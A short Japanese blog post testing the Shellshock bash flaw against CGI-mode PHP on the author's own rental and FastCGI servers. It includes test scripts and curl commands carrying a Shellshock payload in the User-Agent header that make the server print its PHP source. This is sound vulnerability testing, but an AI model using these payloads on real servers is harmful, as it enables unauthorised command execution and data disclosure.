タイトルはパクリ
元記事: BASHの脆弱性でCGIスクリプトにアレさせてみました – ブログ – ワルブリックス株式会社
sakura のレンタルサーバが cgi モードで php 動かしてるよなーと思ってテストしてみたらできました。
# テストスクリプトは削除済みです。
test.php
test.sh
#!/usr/local/bin/bash echo "Content-type: text/plain" echo echo "Hi! I'm an ordinary CGI script which is executed by /usr/local/bin/bash"
結果 : Apache CGI版 PHP
$ curl -A '() { :;}; echo Content-type:text/plain;echo;/bin/cat test.php' http://wokamoto.sakura.ne.jp/test.php Hey, I'm a PHP script so wouldn't be affected, right? Content-type:text/plain <?php header( "Content-type: text/plain" ); echo "Hey, I'm a PHP script so wouldn't be affected, right?\n"; exec("/usr/local/bin/bash ".dirname(__FILE__)."/test.sh", $outputs); //exec('df -h', $outputs); foreach ($outputs as $output) { echo $output."\n"; }[/text] 影響を受けるのは exec() で bash を呼び出してる時だけで <code>exec('df -h', $outputs);</code> の時は問題無いです。 fastcgi で動いてる網元AMIでは、同じコードでも影響受けなかった。 <strong>結果 : fastcgi (網元AMI)</strong> [text]$ curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat test.php" test.dogmap.jp/test.php Hey, I'm a PHP script so wouldn't be affected, right? Content-type: text/plain Hi! I'm an ordinary CGI script which is executed by /bin/bash
/bin/shがbashへのシンボリックリンクになっている環境では、
でも影響をうける気がします。(検証はしていません)
RedHat系のディストリは、デフォルトでbashへのシンボリックリンクになってます。
debian系やFreeBSDなどは違うようです。(全て確認したわけではありません)